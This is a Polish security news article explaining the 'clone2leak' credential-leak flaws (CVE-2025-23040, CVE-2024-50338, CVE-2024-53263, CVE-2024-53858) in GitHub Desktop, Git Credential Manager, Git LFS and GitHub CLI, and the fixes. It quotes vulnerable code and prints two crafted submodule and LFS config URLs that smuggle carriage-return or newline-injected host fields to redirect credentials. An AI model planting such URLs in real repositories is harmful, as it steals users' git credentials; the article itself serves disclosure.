Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

clone2leak, czyli jak drobne szczegóły powodują wyciekanie poświadczeń

28 stycznia 2025, 10:33 | W biegu | 0 komentarzy

Git to bezdyskusyjnie jeden z najpopularniejszych systemów zarządzania wersjami. Zaadoptowany przez wiele organizacji (np. GitHuba) doczekał się wsparcia w postaci różnych narzędzi, takich jak GitHub Desktop czy Git LFS. To z kolei pociągnęło za sobą konieczność współdzielenia poświadczeń użytkownika. Niestety nie wszystkie sprawdzenia dokonywane były z należytą starannością i badacz @ryotkak wskazał kilka ciekawych wektorów ataków, które prowadzą do wycieku np. loginu i hasła użytkownika. Podatności te zostały określone mianem clone2leak.

TLDR:

  • Wiele projektów powiązanych z oprogramowaniem git pozwalało na wstrzyknięcie znaku powrotu karetki (\r).
  • Odpowiednio spreparowana konfiguracja pozwalała na obejście sprawdzenia hosta, do którego wysyłane były poświadczenia. 
  • Efektem podatności był wyciek (przesłanie poświadczeń) do serwera kontrolowanego przez atakujących.

Aby uzyskać poświadczenia użytkownika, Git wykorzystuje tzw. Git Credential Protocol, czyli prosty zbiór kroków pozwalający uzupełnić wymagane dane, tak aby nie musieć prosić użytkownika o uzupełnienie loginu i hasła przy każdej, wymagającej tego operacji (jak np. git pull). Oprogramowanie udostępnia interfejs git-credential, które unifikuje interfejs i pozwala korzystać z zapisanych poświadczeń innym skryptom i programom. 

Przykładowa definicja kontekstu dla git-credential wygląda następująco:

protocol=https
host=example.com
path=foo.git

Jednocześnie, w odpowiedzi git-credential zwróci wiadomość w formacie:

protocol=https
host=example.com
username=bob
password=secr3t

Jeśli helper nie będzie miał dostępu do pęku kluczy z hasłem użytkownika, to pojawi się prompt, proszący o jego podanie. Jeśli pęk kluczy będzie odblokowany, to wtedy nastąpi automatycznie wypełnienie wszystkich pól łącznie z wartością parametru password. Znaki nowej linii rozdzielają pary klucz=wartość.

CVE-2025-23040 – GitHub Desktop

GitHub Desktop to “nakładka” pozwalająca na zarządzanie projektem git przy pomocy interfejsu graficznego. Jedną z funkcji ułatwiających pracę jest automatyczne przekazywanie poświadczeń do klienta gita. Odpowiedzialna za to funkcja pomocnicza, wykorzystuje poniższy kod do przeparsowania protokołu wykorzystywanego przez git-credential.

export const parseCredential = (value: string) => {
  const cred = new Map<string, string>()

  // The credential helper protocol is a simple key=value format but some of its
  // keys are actually arrays which are represented as multiple key[] entries.
  // Since we're currently storing credentials as a Map we need to handle this
  // and expand multiple key[] entries into a key[0], key[1]... key[n] sequence.
  // We then remove the number from the key when we're formatting the credential
  for (const [, k, v] of value.matchAll(/^(.*?)=(.*)$/gm)) {
    if (k.endsWith('[]')) {
      let i = 0
      let newKey

      do {
        newKey = `${k.slice(0, -2)}[${i}]`
        i++
      } while (cred.has(newKey))

      cred.set(newKey, v)
    } else {
      cred.set(k, v)
    }
  }

  return cred
}

Listing 1. Parsowanie git-credential (źródło: research, kod źródłowy)

Wykorzystanie w wyrażeniu regularnym value.matchAll z parametrem gm (m od multiline) włącza tryb wielowierszowy. Język definiuje, które znaki traktowane są jako tzw. lineterminator (znak końca linii). Należą do nich:

LineTerminator ::
    <LF>
    <CR>
    <LS>
    <PS>

Jednocześnie protokół wykorzystywany przez git-credential wykorzystuje tylko \n (znak nowej linii). Te rozbieżności powodują, że spreparowany submoduł w repozytorium, który wskazuje na poniższy URL

http://%0dprotocol=https%0dhost=github.com%0d@localhost:13337/

(%0d to znana wszystkim pentesterom heksadecymalna reprezentacja znaku powrotu karetki \r) spowoduje, że zapytanie wysłane do git-credential będzie wyglądało następująco:

protocol=http
host=localhost
username=\rprotocol=https\rhost=github.com\r

Listing 2. Różnice w parsowaniu wiadomości z wstrzykniętym znakiem \r (źródło: research)

Git, parsując powyższą wiadomość uzna, że parametr host wskazuje na wartość localhost. Tymczasem GitHub Desktop będzie wskazywał na github.com. A to spowoduje, że poświadczenia dla serwisu github.com zostaną wysłane w inne miejsce (w przypadku tego przykładu – do localhosta), powodując ich wyciek.

CVE-2024-50338 – Git Credential Manager

GH Desktop to nie jedyne oprogramowanie, które miało problem z różnicami w parsowaniu nowych linii. Git Credential Manager, oprogramowanie stworzone w technologii .NET. Wykorzystuje klasę StreamReader do odczytywania danych przesyłanych przez Git Credential Manager. Zgodnie z definicją w dokumentacji Microsoftu:

A line is defined as a sequence of characters followed by a line feed („\n”), a carriage return („\r”), or a carriage return immediately followed by a line feed („\r\n”).

StreamReader będzie dzielić linie według znaków \n, \r oraz \r\n. A to powoduje, że atak podobny do tego przedstawionego wyżej jest również możliwy.

CVE-2024-53263 – Git LFS

Git LFS (Large File Storage) to rozszerzenie pozwalające na przechowywanie dużych plików w repozytorium. Narzędzie napisane jest w języku Go i o ile sam Git posiada zabezpieczenia przed wstrzyknięciem nowej linii, o tyle sam Git LFS już takich mitygacji nie implementuje

Jak słusznie zauważa autor badania, sam Git waliduje adres URL przed wywołaniem rozszerzenia:

static int check_url_component(const char *url, int quiet,
                   const char *name, const char *value)
{
    if (!value)
        return 0;
    if (!strchr(value, '\n'))
        return 0;

    if (!quiet)
        warning(_("url contains a newline in its %s component: %s"),
            name, url);
    return -1;
}

Listing 3. Walidacja czy URL zawiera znak nowej linii (źródło: research, kod źródłowy)

Jednak wskazuje też, że Git LFS pozwala na zdefiniowanie URLa w pliku .lsconfig. A ponieważ Git nie korzysta z tej konfiguracji, jest to metoda na skuteczne obejście próby odfiltrowania błędnych URLi z listingu 3.

[lfs]
        url = http://%0Ahost=github.com%0Aprotocol=https%0A@localhost:13337/

Listing 4. Exploit zamieszczony w pliku .lsconfigi (źródło: research)

Efektywnie możliwe jest przeprowadzenie ataku z wykorzystaniem konfiguracji przedstawionej na listingu 4. 

CVE-2024-53858 – GitHub CLI

Na koniec GitHub CLI – narzędzie pozwalające na obsługę GitHuba z poziomu interfejsu tekstowego, posiadało podatność, która prowadziła do ujawnienia access tokenu. Tym razem jednak problemem nie były znaki nowej linii a błąd logiczny w kodzie funkcji isEnterprise. 

// IsEnterprise determines if a provided host is a GitHub Enterprise Server instance,
// rather than GitHub.com or a tenancy GitHub instance.
func IsEnterprise(host string) bool {
    normalizedHost := NormalizeHostname(host)
    return normalizedHost != github && normalizedHost != localhost && !IsTenancy(normalizedHost)
}

Listing 5. implementacja isEnteprise (źródło: research, kod źródłowy)

Jej logika wskazuje na to, że token dostępowy jest wysyłany do dowolnego hosta (implementacja w funkcji tokenForHost), jeśli ustawione są zmienne środowiskowe – GH_ENTERPRISE_TOKEN i GITHUB_ENTERPRISE_TOKEN albo CODESPACES=true i GITHUB_TOKEN

Podobny problem wynikający z braku walidacji URL zaobserwowano w oprogramowaniu GitHub Codespaces. 

Zaproponowane łatki

Błędy dotyczące rozbieżności w parsowaniu znaku nowych linii (czyli wszystkie bez podatności w GitHub CLI oraz Codespaces) zostały zaadresowane w projekcie Git, który potraktował je jako podatność (CVE-2024-52006). Dzięki poprawieniu metod walidacji wiadomości Git Credential Protocol URL zawierający znaki powrotu karetki zostanie domyślnie odrzucony. Podobne łatki wprowadzono w projekcie Git LFS

Podsumowując, research użytkownika @ryotkak bardzo fajnie pokazuje, jak duże znaczenie ma brak rozbieżności w definicji protokołów. Na szczególną pochwałę zasługuje projekt Git, który potraktował rozbieżności jako własną podatność i zabił tę klasę podatności (przynajmniej do momentu znalezienia obejścia), wprowadzając dodatkowe filtrowanie. 

~fc

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz